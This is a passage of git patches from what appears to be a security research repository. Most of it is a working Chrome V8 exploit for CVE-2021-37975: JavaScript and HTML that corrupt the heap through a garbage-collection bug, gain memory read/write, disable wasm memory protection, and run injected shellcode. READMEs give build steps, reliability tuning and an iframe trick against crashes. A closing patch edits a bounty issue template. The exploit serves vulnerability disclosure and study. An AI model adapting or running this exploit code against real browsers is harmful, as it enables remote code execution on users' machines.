+      if (ta[i] != 0xfe) {
+          console.log(ta[i]);
+          return true;
+      }
+    }
+    console.log(ta[0]);
+    return found;
+}
+
+function findLArr(larr) {
+    for (let i = 0; i < (1 << 15); i++) {
+        if (larr[i] != 1.1) {
+          let addr = ftoi32(larr[i]);
+          return i;
+        }
+	}
+	return -1;
+}
+
+function fetch() {
+	let hiddenKey = getHiddenKey(map1, level, initKey);
+	let hiddenMap = map1.get(hiddenKey);
+	let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
+	let k8 = map1.get(k7).get(k7);
+	let map8 = map1.get(k7).get(k8);
+
+	let larr = map1.get(map8.get(k8)).larr;
+    let index = findLArr(larr);
+	if (index == -1) {
+	  return;
+	}
+    return {larr : larr, idx : index};
+}
+global = {};
+globalIdx = 0;
+main();

From 54ec638ebb178b8df00c65e084c854740a0ab94e Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Fri, 8 Oct 2021 11:15:50 +0100
Subject: [PATCH 056/104] Improve parameter

---
 SecurityExploits/Chrome/v8/CVE-2021-37975/README.md | 4 ++--
 SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js    | 3 ++-
 2 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md
index d72440c..37e2581 100644
--- a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md
+++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md
@@ -2,7 +2,7 @@
 
 The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild.
 
-The exploit here is tested on `v8` version 9.4.146.16 (commit `452f57b`), which is the version shipped with Chrome 94.0.4606.71, the one before the bug is fixed, on Ubuntu 20.04. Tested on two different devices with different specs.
+The exploit here is tested on `v8` version 9.4.146.16 (commit `452f57b`), which is the version shipped with Chrome 94.0.4606.71, the one before the bug is fixed, on Ubuntu 20.04. Tested on two different desktop devices with different specs.
 
 To test, check out `v8` at commit `452f57b` and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8`:
 
@@ -44,4 +44,4 @@ $
 
 Shell code may need changing on other platforms.
 
-The exploit is not reliable, (probably about 50 percent success rate). The variable `gcSize` may need changing depending on the device, and the variable `mapAddr` also depends on the version of v8 (it is an offset).
+The exploit is not reliable, (probably about 50 percent success rate). The variable `gcSize` may need changing depending on the device, and the variable `mapAddr` also depends on the version of v8 (it is an offset). Changing the variable `sprayParam` may also improve the reliability. The current parameter seems to give reasonable reliability across the two devices tested.
diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js b/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js
index da25778..5e8e6a1 100644
--- a/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js
+++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js
@@ -8,6 +8,7 @@ var initKey = {init : 1};
 var level = 4;
 var map1 = new WeakMap();
 var gcSize = 0x4fe00000;
+var sprayParam = 100;
 
 //Get mapAddr using DebugPrint for double array (the compressed address of the map)
 var mapAddr = 0x8203ae1;
@@ -141,7 +142,7 @@ function main() {
 
 	let objArr = [];
 
-	for (let i = 0; i < 200; i++) {
+	for (let i = 0; i < sprayParam; i++) {
 	  let thisArr = new Array(1 << 15);
 	  objArr.push(thisArr);
 	}

From a6e6e059379e365f5a3cf577cc7dc77363802a20 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Tue, 12 Oct 2021 10:37:57 +0100
Subject: [PATCH 057/104] Improve reliability

---
 .../Chrome/v8/CVE-2021-37975/poc.js           | 71 +++++++++++--------
 1 file changed, 40 insertions(+), 31 deletions(-)

diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js b/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js
index 5e8e6a1..132ee1f 100644
--- a/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js
+++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/poc.js
@@ -148,7 +148,6 @@ function main() {
 	}
 	//These are there to stop main being optimized by JIT
     globalIdx['a' + globalIdx] = 1;
-    let obj = [1.1,1.1,1.1];
     //Can't refactor this, looks like it cause some double rounding problem (got optimized?)
 	for (let i = 0; i < objArr.length; i++) {
 	  let thisArr = objArr[i];
@@ -173,29 +172,17 @@ function main() {
     let index = result.idx;
 
     let instanceAddr = ftoi32(larr[index])[0];
+    let instanceFloatAddr = larr[index];
     console.log("found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
+	let x = {};
 	for (let i = 0; i < objArr.length; i++) {
 	  let thisArr = objArr[i];
-	  thisArr.fill(obj);
+	  thisArr.fill(x);
 	}
-    globalIdx['a' + globalIdx + 2000] = 1;
-
-    let addr = ftoi32(larr[index])[0];
-    let objEleAddr = addr - 0x20 + 0x8;
-    let floatAddr = i32tof(objEleAddr, objEleAddr);
-    let floatMapAddr = i32tof(mapAddr, mapAddr);
-    //Faking an array at using obj[0] and obj[1]
-    obj[0]  = floatMapAddr;
-    let eleLength = i32tof(instanceAddr + rwxOffset, 10);
-
-    obj[1] = eleLength;
 
-    larr[index] = floatAddr;
-
-    console.log("array address: 0x" + addr.toString(16));
-    console.log("array element address: 0x" + objEleAddr.toString(16));
+    globalIdx['a' + globalIdx + 5000] = 1;
 
-    let rwxAddr = 0;
+    larr[index] = instanceFloatAddr;
     let objArrIdx = -1;
     let thisArrIdx = -1;
     for (let i = 0; i < objArr.length; i++) {
@@ -204,21 +191,46 @@ function main() {
       let thisArr = objArr[i];
       for (let j = 0; j < thisArr.length; j++) {
         let thisObj = thisArr[j];
-        if (thisObj != obj) {
-          console.log("fake array at: " + i + " index: " + j);
+        if (thisObj == instance) {
+          console.log("found instance object at: " + i + " index: " + j);
           objArrIdx = i;
           thisArrIdx = j;
-          if (!(thisObj instanceof Array)) {
-            console.log("failed getting fake array.");
-            restart();
-            return;
-          }
-          rwxAddr = thisObj[0];
-          console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16));
         }
       }
     }
     globalIdx['a' + globalIdx + 4000] = 1;
+    if (objArrIdx == -1) {
+      console.log("failed getting fake object index.");
+      restart();
+      return;
+    }
+    let obj = [1.1,1.1,1.1];
+    let thisArr = objArr[objArrIdx];
+    thisArr.fill(obj);
+    globalIdx['a' + globalIdx + 2000] = 1;
+
+    let addr = ftoi32(larr[index])[0];
+    let objEleAddr = addr + 0x18 + 0x8;
+    let floatAddr = i32tof(objEleAddr, objEleAddr);
+    let floatMapAddr = i32tof(mapAddr, mapAddr);
+    //Faking an array at using obj[0] and obj[1]
+    obj[0]  = floatMapAddr;
+    let eleLength = i32tof(instanceAddr + rwxOffset, 10);
+
+    obj[1] = eleLength;
+
+    larr[index] = floatAddr;
+    console.log("array address: 0x" + addr.toString(16));
+    console.log("array element address: 0x" + objEleAddr.toString(16));
+    let rwxAddr = 0;
+    let fakeArray = objArr[objArrIdx][thisArrIdx];
+    if (!(fakeArray instanceof Array)) {
+      console.log("fail getting fake array.");
+      restart();
+      return;
+    }
+    rwxAddr = fakeArray[0];
+    console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16));
 
     if (rwxAddr == 0) {
       console.log("failed getting rwx address.");
@@ -228,15 +240,12 @@ function main() {
 
     //Read shellArray address
     let shellArray = new Uint8Array(100);
-    let thisArr = objArr[objArrIdx];
+    thisArr = objArr[objArrIdx];
     thisArr.fill(shellArray);
 
     let shellAddr = ftoi32(larr[index])[0];
     console.log("shellArray addr: 0x" + shellAddr.toString(16));
     obj[1] = i32tof(shellAddr + 0x20, 10);
-    //Place fake array back into objArr[objArrIdx][thisArrIdx]
-    larr[index] = floatAddr;
-    let fakeArray = objArr[objArrIdx][thisArrIdx];
     fakeArray[0] = rwxAddr;
     var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
     for (let i = 0; i < shellCode.length; i++) {

From 6dfd8325477c3eddbe719ff4060bd638a3212620 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Wed, 13 Oct 2021 13:15:50 +0100
Subject: [PATCH 058/104] Add Chrome poc

---
 .../Chrome/v8/CVE-2021-37975/README.md        |  57 ++-
 .../v8/CVE-2021-37975/chrome_poc_child.html   | 360 ++++++++++++++++++
 .../v8/CVE-2021-37975/chrome_poc_parent.html  |  59 +++
 3 files changed, 473 insertions(+), 3 deletions(-)
 create mode 100644 SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_child.html
 create mode 100644 SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_parent.html

diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md
index 37e2581..f292502 100644
--- a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md
+++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md
@@ -2,7 +2,7 @@
 
 The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild.
 
-The exploit here is tested on `v8` version 9.4.146.16 (commit `452f57b`), which is the version shipped with Chrome 94.0.4606.71, the one before the bug is fixed, on Ubuntu 20.04. Tested on two different desktop devices with different specs.
+The exploit `poc.js` is tested on `v8` version 9.4.146.16 (commit `452f57b`), which is the version shipped with Chrome 94.0.4606.61, the one before the bug was fixed, on Ubuntu 20.04. It is tested on two different desktop devices with different specs.
 
 To test, check out `v8` at commit `452f57b` and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8`:
 
@@ -42,6 +42,57 @@ shellArray addr: 0x8048d75
 $ 
 ```
 
-Shell code may need changing on other platforms.
+Shell code and some offsets may need changing on other platforms.
 
-The exploit is not reliable, (probably about 50 percent success rate). The variable `gcSize` may need changing depending on the device, and the variable `mapAddr` also depends on the version of v8 (it is an offset). Changing the variable `sprayParam` may also improve the reliability. The current parameter seems to give reasonable reliability across the two devices tested.
+The exploit is fairly reliable, (> 80% success rate on the two tested devices). The variable `gcSize` may need changing depending on the device, and the variable `mapAddr` also depends on the version of v8 (it is an offset). Changing the variable `sprayParam` may also improve the reliability. The current parameter seems to give reasonable reliability across the two devices tested. The `gcSize` parameter should be ok for desktop devices, but may need changing for devices with low memory (e.g. mobile)
+
+The Chrome poc are the files `chrome_poc_parent.html` and `chrome_poc_child.html`. It is tested with Linux build 94.0.4606.61 (commit `c3f0a75`) on Ubuntu 20.04, with the following parameters:
+
+```
+is_debug = false
+symbol_level = 2
+blink_symbol_level = 2
+dcheck_always_on = false
+is_official_build = true
+chrome_pgo_phase = 0
+```
+
+To build this, I have to comment out part of a script `chrome/browser/resources/tools/optimize_webui.py` to fix the build:
+
+```
+@@ -178,16 +178,16 @@ def _bundle_v3(tmp_out_dir, in_path, out_path, manifest_out_path, args,
+                                             manifest_out_path)
+   assert len(generated_paths) == len(bundled_paths), \
+          'unexpected number of bundles - %s - generated by rollup' % \
+          (len(generated_paths))
+ 
+-  for bundled_file in bundled_paths:
+-    with open(bundled_file, 'r') as f:
+-      output = f.read()
+-      assert "<if expr" not in output, \
+-          'Unexpected <if expr> found in bundled output. Check that all ' + \
+-          'input files using such expressions are preprocessed.'
++#  for bundled_file in bundled_paths:
++#    with open(bundled_file, 'r') as f:
++#      output = f.read()
++#      assert "<if expr" not in output, \
++#          'Unexpected <if expr> found in bundled output. Check that all ' + \
++#          'input files using such expressions are preprocessed.'
+ 
+   return bundled_paths
+ 
+ def _optimize(in_folder, args):
+   in_path = os.path.normpath(os.path.join(_CWD, in_folder)).replace('\\', '/')
+```
+
+This part seems to be doing some sanity checks of some generated config files related to webui, so I don't expect it to affect the exploit.
+
+The Chrome exploit should be 100% reliable by using different origin `iframe` to avoid crashing the parent frame. (Idea similar to the one in "Making a Stealth Exploit by abusing Chrome's Site Isolation" in [this article](https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/?fbclid=IwAR0WiWjsUnun8AuipENIUCMwTvWl35I7rAgsTflQTecmazElNoCAYvm0BsA) of Ki Chan Ahn, but on a smaller scale) The parent frame will reset the child frame every 5 seconds and change its origin to make sure it starts fresh, during which it'll print out `resetChild` on the page. It should not take too many attempts to succeed and will pop `xcalc` on Ubuntu. To test it, host these pages at `127.0.0.1`, `127.0.0.2` and `127.0.0.3`:
+
+```
+python3 -m http.server --bind 127.0.0.1
+python3 -m http.server --bind 127.0.0.2
+python3 -m http.server --bind 127.0.0.3
+```
+
+Then open `localhost:8000/chrome_poc_parent.html` on Chrome built with the above instructions and wait. It should pop `xcalc` within a few trials.
diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_child.html b/SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_child.html
new file mode 100644
index 0000000..f628451
--- /dev/null
+++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_child.html
@@ -0,0 +1,360 @@
+<html>
+<head>
+<script>
+function sleep(miliseconds) {
+   var currentTime = new Date().getTime();
+   while (currentTime + miliseconds >= new Date().getTime()) {
+   }
+}
+
+var initKey = {init : 1};
+var level = 4;
+var map1 = new WeakMap();
+var gcSize = 0x4fe00000;
+var sprayParam = 100;
+
+//Get mapAddr using DebugPrint for double array (the compressed address of the map)
+var mapAddr = 0x82430e1;
+
+//Offset from OfflineAudioContext18wrapper_type_info to FLAG_wasm_memory_protection_keys
+var wasmMemoryProtectionKeysOffset = 0xa9526n;
+
+var audioContext = new OfflineAudioContext(1, 4000, 4000);
+
+var rwxOffset = 0x60;
+var blinkPtrOffset = 0x4;
+var typedArrayPtrOffset = 0x20;
+var arrayBufOffset = 0x14;
+var dataViewLengthOffset = 0x10;
+
+var view = new ArrayBuffer(24);
+var dblArr = new Float64Array(view);
+var intView = new Int32Array(view);
+var bigIntView = new BigInt64Array(view);
+
+var buf = new ArrayBuffer(0x1000);
+var dataView = new DataView(buf);
+
+function ftoi32(f) {
+  dblArr[0] = f;
+  return [intView[0], intView[1]];
+}
+
+function i32tof(i1, i2) {
+  intView[0] = i1;
+  intView[1] = i2;
+  return dblArr[0];
+}
+
+function itof(i) {
+  bigIntView = BigInt(i);
+  return dblArr[0];
+}
+
+function ftoi(f) {
+  dblArr[0] = f;
+  return bigIntView[0];
+}
+
+var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
+var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0xbb, 0x6c, 0x63, 0x00, 0x00, 0x53, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x78, 0x63, 0x61, 0x53, 0x54, 0x5f, 0x56, 0x57, 0x54, 0x5e, 0xbb, 0x3a, 0x30, 0x2e, 0x30, 0x53, 0x48, 0xbb, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x53, 0x54, 0x41, 0x5a, 0x52, 0x41, 0x52, 0x54, 0x5a, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0xf, 0x5];
+//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
+function hideWeakMap(map, level, initKey) {
+  let prevMap = map;
+  let prevKey = initKey;
+  for (let i = 0; i < level; i++) {
+    let thisMap = new WeakMap();
+    prevMap.set(prevKey, thisMap);
+    let thisKey = {'h' : i};
+    //make thisKey reachable via prevKey
+    thisMap.set(prevKey, thisKey);
+    prevMap = thisMap;
+    prevKey = thisKey;
+    if (i == level - 1) {
+      let retMap = new WeakMap();
+      map.set(thisKey, retMap);
+      return thisKey;
+    }
+  }
+}
+//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
+function getHiddenKey(map, level, initKey) {
+  let prevMap = map;
+  let prevKey = initKey;
+  for (let i = 0; i < level; i++) {
+    let thisMap = prevMap.get(prevKey);
+    let thisKey = thisMap.get(prevKey);
+    prevMap = thisMap;
+    prevKey = thisKey;
+    if (i == level - 1) {
+      return thisKey;
+    }
+  }
+}
+
+function setUpWeakMap(map) {
+  //Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
+  let hk = hideWeakMap(map, level, initKey);
+//Round 1 maps
+  let hiddenMap = map.get(hk);
+  let map7 = new WeakMap();
+  let map8 = new WeakMap();
+
+//hk->k5, k5: discover->wl
+  let k5 = {k5 : 1};
+  let map5 = new WeakMap();
+  let k7 = {k7 : 1};
+  let k9 = {k9 : 1};
+  let k8 = {k8 : 1};
+  let ta = new Uint8Array(1024);
+  ta.fill(0xfe);
+  let larr = new Array(1 << 15);
+  larr.fill(1.1);
+  let v9 = {ta : ta, larr : larr};
+  map.set(k7, map7);
+  map.set(k9, v9);
+
+//map3 : kb|vb: initial discovery ->wl
+  hiddenMap.set(k5, map5);
+  hiddenMap.set(hk, k5);
+
+//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
+//iter3: wl: map5 : mark map7, k7, no discovery, iter end
+  map5.set(hk, k7);
+  
+//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
+//iter1
+
+//wl discovers map8, and mark k8 black
+  map7.set(k8, map8);
+  map7.set(k7, k8);
+
+//discovery moves k8, map8 into wl
+//iter2 marks k9 black, iter finished
+  map8.set(k8,k9);
+  
+}
+
+function gc() {
+  //trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
+  new ArrayBuffer(gcSize);
+}
+
+function handleEvents(event) {
+  if (event.data == "childDone") {
+      wasmMain();
+  }
+}
+
+function restart() {
+  //Should deopt main if it gets optimized
+  global.__proto__ = {};
+  gc();
+  sleep(2000);
+  main();
+}
+
+function addrOf(obj, objArr, objArrIdx, larr, index) {
+  let thisArr = objArr[objArrIdx];
+  thisArr.fill(obj);
+  return ftoi32(larr[index])[0];
+}
+
+function main() {
+	setUpWeakMap(map1);
+	gc();
+
+	let objArr = [];
+
+	for (let i = 0; i < sprayParam; i++) {
+	  let thisArr = new Array(1 << 15);
+	  objArr.push(thisArr);
+	}
+	//These are there to stop main being optimized by JIT
+    globalIdx['a' + globalIdx] = 1;
+    //Can't refactor this, looks like it cause some double rounding problem (got optimized?)
+	for (let i = 0; i < objArr.length; i++) {
+	  let thisArr = objArr[i];
+	  thisArr.fill(audioContext);
+	}
+    globalIdx['a' + globalIdx + 1000] = 1;
+    let result = null;
+	try {
+      result = fetch();
+    } catch (e) {
+      console.log("fetch failed");
+      restart();
+      return;
+    }
+    if (!result) {
+	  console.log("fail to find object address.");
+      restart();
+      return;
+    }
+
+    let larr = result.larr;
+    let index = result.idx;
+
+    let audioContextAddr = ftoi32(larr[index])[0];
+    let audioContextFloatAddr = larr[index];
+    console.log("found audioContext address: 0x" + audioContextAddr.toString(16) + " at index: " + index);
+	let x = {};
+	for (let i = 0; i < objArr.length; i++) {
+	  let thisArr = objArr[i];
+	  thisArr.fill(x);
+	}
+
+    globalIdx['a' + globalIdx + 5000] = 1;
+
+    larr[index] = audioContextFloatAddr;
+    let objArrIdx = -1;
+    let thisArrIdx = -1;
+    for (let i = 0; i < objArr.length; i++) {
+      globalIdx['a' + globalIdx + 3000] = 1;
+	  global.__proto__ = {};
+      let thisArr = objArr[i];
+      for (let j = 0; j < thisArr.length; j++) {
+        let thisObj = thisArr[j];
+        if (thisObj == audioContext) {
+          console.log("found instance object at: " + i + " index: " + j);
+          objArrIdx = i;
+          thisArrIdx = j;
+        }
+      }
+    }
+    globalIdx['a' + globalIdx + 4000] = 1;
+    if (objArrIdx == -1) {
+      console.log("failed getting fake object index.");
+      restart();
+      return;
+    }
+    let obj = [1.1,1.1,1.1];
+    let thisArr = objArr[objArrIdx];
+    thisArr.fill(obj);
+    globalIdx['a' + globalIdx + 2000] = 1;
+
+    let addr = ftoi32(larr[index])[0];
+    let objEleAddr = addr + 0x18 + 0x8;
+
+    let floatAddr = i32tof(objEleAddr, objEleAddr);
+    let floatMapAddr = i32tof(mapAddr, mapAddr);
+    //Faking an array at using obj[0] and obj[1]
+    obj[0]  = floatMapAddr;
+    let eleLength = i32tof(audioContextAddr + blinkPtrOffset, 10);
+
+    obj[1] = eleLength;
+
+    larr[index] = floatAddr;
+    console.log("array address: 0x" + addr.toString(16));
+    console.log("array element address: 0x" + objEleAddr.toString(16));
+    let typeInfoAddr = 0;
+    let fakeArray = objArr[objArrIdx][thisArrIdx];
+    if (!(fakeArray instanceof Array)) {
+      console.log("fail getting fake array.");
+      restart();
+      return;
+    }
+    typeInfoAddr = fakeArray[0];
+    console.log("OfflineAudioContextWrapperTypeInfo address at: 0x" + ftoi(typeInfoAddr).toString(16));
+
+    if (typeInfoAddr == 0) {
+      console.log("failed getting typeInfo address.");
+      restart();
+      return;
+    }
+
+	//Use to get isolate root to write to avoid double rounding issues:
+    // https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #4: Leaking the Pointer Compression Isolate Root)
+	let helperArray = new Uint8Array(10);
+    let helperAddr = addrOf(helperArray, objArr, objArrIdx, larr, index);
+
+    console.log("helperArray addr: 0x" + helperAddr.toString(16));
+	obj[1] = i32tof(helperAddr + typedArrayPtrOffset, 10);
+    let isolate_root = ftoi32(fakeArray[0])[1];
+    global['a' + globalIdx + 2000] = {};
+ 
+    //Read shellArray address
+    let shellArray = new Uint8Array(100);
+    let shellAddr = addrOf(shellArray, objArr, objArrIdx, larr, index);
+
+    console.log("shellArray addr: 0x" + shellAddr.toString(16));
+
+    var shellBufAddr = shellAddr + typedArrayPtrOffset + 0x8 - 1;
+	let bufAddr = addrOf(buf, objArr, objArrIdx, larr, index);
+    obj[1] = i32tof(bufAddr + arrayBufOffset, 10);
+    fakeArray[0] = i32tof(shellBufAddr, isolate_root);
+    let tmp = ftoi32(fakeArray[0]);
+
+    //Overwrite FLAG_wasm_memory_protection_keys to zero
+    var wasmAddress = ftoi(typeInfoAddr) + wasmMemoryProtectionKeysOffset;
+  	  	
+	dataView.setBigUint64(0, BigInt(wasmAddress), true);
+    shellArray[0] = 0;
+
+    var module = new WebAssembly.Module(code);
+    var instance = new WebAssembly.Instance(module);
+    wasmMain = instance.exports.main;
+
+    thisArr = objArr[objArrIdx];
+    thisArr.fill(instance);
+    let instanceAddr = ftoi32(larr[index])[0];
+    console.log("instance addr: 0x" + instanceAddr.toString(16));
+
+	obj[1] = i32tof(instanceAddr + rwxOffset, 10);
+    let rwxAddr = fakeArray[0];
+	console.log("rwx address: 0x" + ftoi(rwxAddr).toString(16));
+    obj[1] = i32tof(shellAddr + typedArrayPtrOffset, 10);
+    
+    fakeArray[0] = rwxAddr;
+    console.log("write shell code");
+    for (let i = 0; i < shellCode.length; i++) {
+      shellArray[i] = shellCode[i];
+    }
+    console.log("run shell code");
+    parent.postMessage("done", "*");
+}
+
+function findTA(ta) {
+    let found = false;
+    for (let i = 0; i < 16; i++) {
+      if (ta[i] != 0xfe) {
+          console.log(ta[i]);
+          return true;
+      }
+    }
+    console.log(ta[0]);
+    return found;
+}
+
+function findLArr(larr) {
+    for (let i = 0; i < (1 << 15); i++) {
+        if (larr[i] != 1.1) {
+          let addr = ftoi32(larr[i]);
+          return i;
+        }
+	}
+	return -1;
+}
+
+function fetch() {
+	let hiddenKey = getHiddenKey(map1, level, initKey);
+	let hiddenMap = map1.get(hiddenKey);
+	let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
+	let k8 = map1.get(k7).get(k7);
+	let map8 = map1.get(k7).get(k8);
+
+	let larr = map1.get(map8.get(k8)).larr;
+    let index = findLArr(larr);
+	if (index == -1) {
+	  return;
+	}
+    return {larr : larr, idx : index};
+}
+global = {};
+globalIdx = 0;
+window.addEventListener("message", handleEvents);
+</script>
+</head>
+<body onload="main()">
+</body>
+</html>
diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_parent.html b/SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_parent.html
new file mode 100644
index 0000000..14ddf95
--- /dev/null
+++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/chrome_poc_parent.html
@@ -0,0 +1,59 @@
+<html>
+<head>
+<script>
+var childHosts = ["127.0.0.2", "127.0.0.3"];
+
+var currentChild = 0;
+var childFrame = null;
+var done = false;
+
+function getChildSrc() {
+  return 'http://' + childHosts[currentChild] + ':8000/chrome_poc_child.html';
+}
+
+function print(msg) {
+  let div = document.getElementById("div1");
+  let text = div.innerHTML;
+  text += msg + "<br />";
+  div.innerHTML = text;
+}
+
+function resetChild() {
+  if (done) return;
+  print("resetChild");
+  childFrame.src = getChildSrc();
+  currentChild = (currentChild + 1) % childHosts.length;
+  setTimeout(resetChild, 5000);
+}
+
+function createChildFrame() {
+  let iframe = document.createElement('iframe');
+  iframe.height = 1;
+  iframe.width = 1;
+  iframe.setAttribute('id', 'ifrm');
+  iframe.src = getChildSrc();
+  currentChild = (currentChild + 1) % childHosts.length;
+  document.body.appendChild(iframe);
+  childFrame = iframe;
+}
+
+function handleEvents(event) {
+  if (event.data == "done") {
+    done = true;
+    print("done");
+    event.source.postMessage("childDone", "*");
+  }
+}
+
+window.addEventListener("message", handleEvents);
+
+function main() {
+  createChildFrame();
+  setTimeout(resetChild, 5000);
+}
+</script>
+</head>
+<body onload="main()">
+  <div id="div1"></div>
+</body>
+</html>

From a24ee03309a26a6f4d00e1aedadf1991c3963733 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Wed, 13 Oct 2021 13:18:00 +0100
Subject: [PATCH 059/104] Add --no-sandbox flag instruction to README

---
 SecurityExploits/Chrome/v8/CVE-2021-37975/README.md | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md
index f292502..dc51c70 100644
--- a/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md
+++ b/SecurityExploits/Chrome/v8/CVE-2021-37975/README.md
@@ -94,5 +94,10 @@ python3 -m http.server --bind 127.0.0.1
 python3 -m http.server --bind 127.0.0.2
 python3 -m http.server --bind 127.0.0.3
 ```
+Then launch Chrome built with the above instructions with the `--no-sandbox` flag:
 
-Then open `localhost:8000/chrome_poc_parent.html` on Chrome built with the above instructions and wait. It should pop `xcalc` within a few trials.
+```
+./chrome --user-data-dir=/tmp/chromium_data --no-sandbox
+```
+
+Then open `localhost:8000/chrome_poc_parent.html` and wait. It should pop `xcalc` within a few trials.

From dcba9ace29800c421aace26dbcf0eb55e3697d0a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= <alvaro@pwntester.com>
Date: Mon, 8 Nov 2021 11:35:49 +0100
Subject: [PATCH 060/104] port all-for-one template to issue forms

---
 .github/ISSUE_TEMPLATE/all-for-one.md | 103 +++++++++++++++++++-------
 1 file changed, 76 insertions(+), 27 deletions(-)

diff --git a/.github/ISSUE_TEMPLATE/all-for-one.md b/.github/ISSUE_TEMPLATE/all-for-one.md
index e6b8580..a4379ac 100644
--- a/.github/ISSUE_TEMPLATE/all-for-one.md
+++ b/.github/ISSUE_TEMPLATE/all-for-one.md
@@ -1,32 +1,81 @@
----
 name: All for One, One For All bounty submission
-about: Submit a CodeQL query for the All For One, One For All bounty (https://securitylab.github.com/bounties)
-title: "[USERNAME]: [SUMMARY]"
-labels: All For One
-assignees: ''
+description: Submit a CodeQL query for the All For One, One For All bounty (https://securitylab.github.com/bounties)
+title: "[<language>]: <short description>"
+labels: [All For One]
+body:
+  - type: markdown
+    attributes:
+      value: |
+        # Introduction
 
----
+        Thank you for submitting a query to the GitHub CodeQL project!
 
-## Query
+        After you submit this issue, the GitHub Security Lab and CodeQL teams will triage the submission and, if it meets the Query Bounty Program requirements, we will grant you a bounty through our HackerOne program.
 
-*Link to pull request with your CodeQL query:*
+        Please make sure to carefully read the [bounty program description and conditions](https://securitylab.github.com/bounties/)
 
-Relevant PR: https://github.com/github/codeql/pull/nnnn
-
-## CVE ID(s)
-
-*List the CVE ID(s) associated with this vulnerability. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories).*
-
-- CVE-20nn-nnnnn
-
-## Report
-
-*Describe the vulnerability. Provide any information you think will help GitHub assess the impact your query has on the open source community.*
-
-- [ ] Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). *We would love to have you spread the word about the good work you are doing*
-
-## Result(s)
-
-*Provide at least one useful result found by your query, on some revision of a real project.*
-
-- [description](url)
+        # Questionnaire
+  - type: input
+    id: pr_url 
+    attributes:
+      label: Query PR
+      description: Link to pull request with your CodeQL query
+      placeholder: ex. https://github.com/github/codeql/pull/nnnn
+    validations:
+      required: true
+  - type: dropdown
+    id: language
+    attributes:
